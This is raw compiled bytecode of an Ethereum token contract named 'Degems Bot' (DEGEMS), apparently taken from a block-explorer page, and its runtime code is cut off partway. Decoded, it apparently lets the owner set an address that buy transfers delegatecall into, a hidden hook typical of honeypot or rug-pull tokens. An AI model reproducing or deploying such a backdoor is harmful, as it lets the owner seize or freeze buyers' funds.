c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ad69190612497565b60405180910390a35b611b2f8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121dd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611bd2611b8682846121dd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461218090919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611c7584866121dd90919063ffffffff16565b604051611c829190612497565b60405180910390a350505050565b5f838311158290611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce9190612375565b60405180910390fd5b505f8385611ce59190612e5d565b9050809150509392505050565b5f808303611d02575f9050611d63565b5f8284611d0f91906127d3565b9050828482611d1e9190612ebd565b14611d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5590612f5d565b60405180910390fd5b809150505b92915050565b5f611daa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612226565b905092915050565b5f8082604051602401611dc5919061256e565b6040516020818303038152906040527f207c64fb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505090505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505a602083015f806024838686f4505050600192505050919050565b5f80823b90505f8111915050919050565b5f818311611ea35782611ea5565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611ee457611ee3612f7b565b5b604051908082528060200260200182016040528015611f125781602001602082028036833780820191505090505b50905030815f81518110611f2957611f28612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fcd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ff19190612890565b8160018151811061200557612004612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206b3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611192565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016120cd95949392919061308c565b5f604051808303815f87803b1580156120e4575f80fd5b505af11580156120f6573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561217c573d5f803e3d5ffd5b5050565b5f80828461218e9190612d7b565b9050838110156121d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ca9061312e565b60405180910390fd5b8091505092915050565b5f61221e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c90565b905092915050565b5f808311829061226c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122639190612375565b60405180910390fd5b505f838561227a9190612ebd565b9050809150509392505050565b5f80fd5b5f8115159050919050565b61229f8161228b565b81146122a9575f80fd5b50565b5f813590506122ba81612296565b92915050565b5f602082840312156122d5576122d4612287565b5b5f6122e2848285016122ac565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612322578082015181840152602081019050612307565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612347826122eb565b61235181856122f5565b9350612361818560208601612305565b61236a8161232d565b840191505092915050565b5f6020820190508181035f83015261238d818461233d565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6123be82612395565b9050919050565b6123ce816123b4565b81146123d8575f80fd5b50565b5f813590506123e9816123c5565b92915050565b5f819050919050565b612401816123ef565b811461240b575f80fd5b50565b5f8135905061241c816123f8565b92915050565b5f806040838503121561243857612437612287565b5b5f612445858286016123db565b92505060206124568582860161240e565b9150509250929050565b6124698161228b565b82525050565b5f6020820190506124825f830184612460565b92915050565b612491816123ef565b82525050565b5f6020820190506124aa5f830184612488565b92915050565b5f805f606084860312156124c7576124c6612287565b5b5f6124d4868287016123db565b93505060206124e5868287016123db565b92505060406124f68682870161240e565b9150509250925092565b5f60ff82169050919050565b61251581612500565b82525050565b5f60208201905061252e5f83018461250c565b92915050565b5f6020828403121561254957612548612287565b5b5f612556848285016123db565b91505092915050565b612568816123b4565b82525050565b5f6020820190506125815f83018461255f565b92915050565b5f806040838503121561259d5761259c612287565b5b5f6125aa858286016123db565b92505060206125bb858286016123db565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6125f96020836122f5565b9150612604826125c5565b602082019050919050565b5f6020820190508181035f830152612626816125ed565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156126af5780860481111561268b5761268a61262d565b5b600185161561269a5780820291505b80810290506126a88561265a565b945061266f565b94509492505050565b5f826126c75760019050612782565b816126d4575f9050612782565b81600181146126ea57600281146126f457612723565b6001915050612782565b60ff8411156127065761270561262d565b5b8360020a91508482111561271d5761271c61262d565b5b50612782565b5060208310610133831016604e8410600b84101617156127585782820a9050838111156127535761275261262d565b5b612782565b6127658484846001612666565b9250905081840481111561277c5761277b61262d565b5b81810290505b9392505050565b5f612793826123ef565b915061279e83612500565b92506127cb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846126b8565b905092915050565b5f6127dd826123ef565b91506127e8836123ef565b92508282026127f6816123ef565b9150828204841483151761280d5761280c61262d565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6128486017836122f5565b915061285382612814565b602082019050919050565b5f6020820190508181035f8301526128758161283c565b9050919050565b5f8151905061288a816123c5565b92915050565b5f602082840312156128a5576128a4612287565b5b5f6128b28482850161287c565b91505092915050565b5f6040820190506128ce5f83018561255f565b6128db602083018461255f565b9392505050565b5f819050919050565b5f819050919050565b5f61290e612909612904846128e2565b6128eb565b6123ef565b9050919050565b61291e816128f4565b82525050565b5f60c0820190506129375f83018961255f565b6129446020830188612488565b6129516040830187612915565b61295e6060830186612915565b61296b608083018561255f565b61297860a0830184612488565b979650505050505050565b5f81519050612991816123f8565b92915050565b5f805f606084860312156129ae576129ad612287565b5b5f6129bb86828701612983565b93505060206129cc86828701612983565b92505060406129dd86828701612983565b9150509250925092565b5f6040820190506129fa5f83018561255f565b612a076020830184612488565b9392505050565b5f81519050612a1c81612296565b92915050565b5f60208284031215612a3757612a36612287565b5b5f612a4484828501612a0e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612aa76024836122f5565b9150612ab282612a4d565b604082019050919050565b5f6020820190508181035f830152612ad481612a9b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b356022836122f5565b9150612b4082612adb565b604082019050919050565b5f6020820190508181035f830152612b6281612b29565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612bc36025836122f5565b9150612bce82612b69565b604082019050919050565b5f6020820190508181035f830152612bf081612bb7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612c516023836122f5565b9150612c5c82612bf7565b604082019050919050565b5f6020820190508181035f830152612c7e81612c45565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612cdf6029836122f5565b9150612cea82612c85565b604082019050919050565b5f6020820190508181035f830152612d0c81612cd3565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612d476019836122f5565b9150612d5282612d13565b602082019050919050565b5f6020820190508181035f830152612d7481612d3b565b9050919050565b5f612d85826123ef565b9150612d90836123ef565b9250828201905080821115612da857612da761262d565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612de2601a836122f5565b9150612ded82612dae565b602082019050919050565b5f6020820190508181035f830152612e0f81612dd6565b9050919050565b5f612e20826123ef565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e5257612e5161262d565b5b600182019050919050565b5f612e67826123ef565b9150612e72836123ef565b9250828203905081811115612e8a57612e8961262d565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ec7826123ef565b9150612ed2836123ef565b925082612ee257612ee1612e90565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612f476021836122f5565b9150612f5282612eed565b604082019050919050565b5f6020820190508181035f830152612f7481612f3b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613007816123b4565b82525050565b5f6130188383612ffe565b60208301905092915050565b5f602082019050919050565b5f61303a82612fd5565b6130448185612fdf565b935061304f83612fef565b805f5b8381101561307f578151613066888261300d565b975061307183613024565b925050600181019050613052565b5085935050505092915050565b5f60a08201905061309f5f830188612488565b6130ac6020830187612915565b81810360408301526130be8186613030565b90506130cd606083018561255f565b6130da6080830184612488565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613118601b836122f5565b9150613123826130e4565b602082019050919050565b5f6020820190508181035f8301526131458161310c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122034e532e3f49a437e85c5b79f2dbcefec0c3d8abd4e89ae05a00c25cc6195eb3b64736f6c63430008150033

Deployed Bytecode

0x608060405260043610610122575f3560e01c80637d1db4a51161009f5780639b008bde116100635780639b008bde1461039b578063a9059cbb146103c3578063bf474bed146103ff578063c9567bf914610429578063dd62ed3e1461043f57610129565b80637d1db4a5146102dd5780638da5cb5b146103075780638f9a55c01461033157806395d89b411461035b578063973c7aa41461038557610129565b806323b872dd116100e657806323b872dd1461020f578063313ce5671461024b578063364333f41461027557806370a082311461028b578063715018a6146102c757610129565b806306935d4f1461012d57806306fdde0314610155578063095ea7b31461017f5780630faee56f146101bb57806318160ddd146101e557610129565b3661012957005b5f80fd5b348015610138575f80fd5b50610153600480360381019061014e91906122c0565b61047b565b005b348015610160575f80fd5b5061016961052c565b6040516101769190612375565b60405180910390f35b34801561018a575f80fd5b506101a560048036038101906101a09190612422565b610569565b6040516101b2919061246f565b60405180910390f35b3480156101c6575f80fd5b506101cf610586565b6040516101dc9190612497565b60405180910390f35b3480156101f0575f80fd5b506101f961058c565b6040516102069190612497565b60405180910390f35b34801561021a575f80fd5b50610235600480360381019061023091906124b0565b6105ae565b604051610242919061246f565b60405180910390f35b348015610256575f80fd5b5061025f610682565b60405161026c919061251b565b60405180910390f35b348015610280575f80fd5b5061028961068a565b005b348015610296575f80fd5b506102b160048036038101906102ac9190612534565b610785565b6040516102be9190612497565b60405180910390f35b3480156102d2575f80fd5b506102db6107cb565b005b3480156102e8575f80fd5b506102f1610919565b6040516102fe9190612497565b60405180910390f35b348015610312575f80fd5b5061031b61091f565b604051610328919061256e565b60405180910390f35b34801561033c575f80fd5b50610345610946565b6040516103529190612497565b60405180910390f35b348015610366575f80fd5b5061036f61094c565b60405161037c9190612375565b60405180910390f35b348015610390575f80fd5b50610399610989565b005b3480156103a6575f80fd5b506103c160048036038101906103bc9190612534565b610ab5565b005b3480156103ce575f80fd5b506103e960048036038101906103e49190612422565b610b8c565b6040516103f6919061246f565b60405180910390f35b34801561040a575f80fd5b50610413610ba9565b6040516104209190612497565b60405180910390f35b348015610434575f80fd5b5061043d610baf565b005b34801561044a575f80fd5b5061046560048036038101906104609190612587565b611109565b6040516104729190612497565b60405180910390f35b61048361118b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461050f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105069061260f565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b60606040518060400160405280600a81526020017f446567656d7320426f7400000000000000000000000000000000000000000000815250905090565b5f61057c61057561118b565b8484611192565b6001905092915050565b60115481565b5f6009600a61059b9190612789565b624c4b406105a991906127d3565b905090565b5f6105ba848484611355565b610677846105c661118b565b6106728560405180606001604052806028815260200161314d6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61062961118b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c909092919063ffffffff16565b611192565b600190509392505050565b5f6009905090565b61069261118b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107159061260f565b60405180910390fd5b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610782573d5f803e3d5ffd5b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107d361118b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108569061260f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600681526020017f444547454d530000000000000000000000000000000000000000000000000000815250905090565b61099161118b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a149061260f565b60405180910390fd5b6009600a610a2b9190612789565b624c4b40610a3991906127d3565b600e819055506009600a610a4d9190612789565b624c4b40610a5b91906127d3565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a909190612789565b624c4b40610a9e91906127d3565b604051610aab9190612497565b60405180910390a1565b610abd61118b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b409061260f565b60405180910390fd5b8060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f610b9f610b9861118b565b8484611355565b6001905092915050565b60105481565b610bb761118b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3a9061260f565b60405180910390fd5b60148054906101000a900460ff1615610c91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c889061285e565b60405180910390fd5b6001601460176101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d473060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610d349190612789565b624c4b40610d4291906127d3565b611192565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610db1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dd59190612890565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e5b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e7f9190612890565b6040518363ffffffff1660e01b8152600401610e9c9291906128bb565b6020604051808303815f875af1158015610eb8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610edc9190612890565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f6330610785565b5f80610f6d61091f565b426040518863ffffffff1660e01b8152600401610f8f96959493929190612924565b60606040518083038185885af1158015610fab573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610fd09190612997565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110709291906129e7565b6020604051808303815f875af115801561108c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110b09190612a22565b505f601460176101000a81548160ff0219169083151502179055506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff02191690831515021790555043600581905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f790612abd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361126e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126590612b4b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113489190612497565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ba90612bd9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611431576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142890612c67565b60405180910390fd5b5f8111611473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146a90612cf5565b60405180910390fd5b5f61147c61091f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114ea57506114ba61091f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119c75761152b606461151d600a54600d541161150a5760065461150e565b6008545b85611cf290919063ffffffff16565b611d6990919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115d6575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115e757506115e683611db2565b5b801561163a575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561171d57600e54821115611684576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167b90612d5d565b60405180910390fd5b600f548261169185610785565b61169b9190612d7b565b11156116dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d390612df8565b60405180910390fd5b4360036005546116ec9190612d7b565b1115611705576116fb83611e84565b15611704575f80fd5b5b600d5f81548092919061171790612e16565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c1575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561181f57600f54826117d385610785565b6117dd9190612d7b565b111561181e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181590612df8565b60405180910390fd5b5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118a757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156118eb576118e860646118da600b54600d54116118c7576007546118cb565b6009545b85611cf290919063ffffffff16565b611d6990919063ffffffff16565b90505b5f6118f530610785565b9050601460159054906101000a900460ff16158015611960575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156119785750601460169054906101000a900460ff165b8015611985575060105481115b80156119945750600c54600d54115b156119c5576119ad6119a882601154611e95565b611ead565b5f4790505f8111156119c3576119c247612118565b5b505b505b601460179054906101000a900460ff16156119e0575f90505b5f811115611adf57611a388160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461218090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ad69190612497565b60405180910390a35b611b2f8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121dd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611bd2611b8682846121dd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461218090919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611c7584866121dd90919063ffffffff16565b604051611c829190612497565b60405180910390a350505050565b5f838311158290611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce9190612375565b60405180910390fd5b505f8385611ce59190612e5d565b9050809150509392505050565b5f808303611d02575f9050611d63565b5f8284611d0f91906127d3565b9050828482611d1e9190612ebd565b14611d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5590612f5d565b60405180910390fd5b809150505b92915050565b5f611daa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612226565b905092915050565b5f8082604051602401611dc5919061256e565b6040516020818303038152906040527f207c64fb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505090505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505a602083015f806024838686f4505050600192505050919050565b5f80823b90505f8111915050919050565b5f818311611ea35782611ea5565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611ee457611ee3612f7b565b5b604051908082528060200260200182016040528015611f125781602001602082028036833780820191505090505b50905030815f81518110611f2957611f28612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fcd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ff19190612890565b8160018151811061200557612004612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206b3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611192565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016120cd95949392919061308c565b5f604051808303815f87803b1580156120e4575f80fd5b505af11580156120f6573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561217c573d5f803e3d5ffd5b5050565b5f80828461218e9190612d7b565b9050838110156121d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ca9061312e565b60405180910390fd5b8091505092915050565b5f61221e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c90565b905092915050565b5f808311829061226c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122639190612375565b60405180910390fd5b505f838561227a9190612ebd565b9050809150509392505050565b5f80fd5b5f8115159050919050565b61229f8161228b565b81146122a9575f80fd5b50565b5f813590506122ba81612296565b92915050565b5f602082840312156122d5576122d4612287565b5b5f6122e2848285016122ac565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612322578082015181840152602081019050612307565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612347826122eb565b61235181856122f5565b9350612361818560208601612305565b61236a8161232d565b840191505092915050565b5f6020820190508181035f83015261238d818461233d565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6123be82612395565b9050919050565b6123ce816123b4565b81146123d8575f80fd5b50565b5f813590506123e9816123c5565b92915050565b5f819050919050565b612401816123ef565b811461240b575f80fd5b50565b5f8135905061241c816123f8565b92915050565b5f806040838503121561243857612437612287565b5b5f612445858286016123db565b92505060206124568582860161240e565b9150509250929050565b6124698161228b565b82525050565b5f6020820190506124825f830184612460565b92915050565b612491816123ef565b82525050565b5f6020820190506124aa5f830184612488565b92915050565b5f805f606084860312156124c7576124c6612287565b5b5f6124d4868287016123db565b93505060206124e5868287016123db565b92505060406124f68682870161240e565b9150509250925092565b5f60ff82169050919050565b61251581612500565b82525050565b5f60208201905061252e5f83018461250c565b92915050565b5f6020828403121561254957612548612287565b5b5f612556848285016123db565b91505092915050565b612568816123b4565b82525050565b5f6020820190506125815f83018461255f565b92915050565b5f806040838503121561259d5761259c612287565b5b5f6125aa858286016123db565b92505060206125bb858286016123db565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6125f96020836122f5565b9150612604826125c5565b602082019050919050565b5f6020820190508181035f830152612626816125ed565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156126af5780860481111561268b5761268a61262d565b5b600185161561269a5780820291505b80810290506126a88561265a565b945061266f565b94509492505050565b5f826126c75760019050612782565b816126d4575f9050612782565b81600181146126ea57600281146126f457612723565b6001915050612782565b60ff8411156127065761270561262d565b5b8360020a91508482111561271d5761271c61262d565b5b50612782565b5060208310610133831016604e8410600b84101617156127585782820a9050838111156127535761275261262d565b5b612782565b6127658484846001612666565b9250905081840481111561277c5761277b61262d565b5b81810290505b9392505050565b5f612793826123ef565b915061279e83612500565b92506127cb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846126b8565b905092915050565b5f6127dd826123ef565b91506127e8836123ef565b92508282026127f6816123ef565b9150828204841483151761280d5761280c61262d565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6128486017836122f5565b915061285382612814565b602082019050919050565b5f6020820190508181035f8301526128758161283c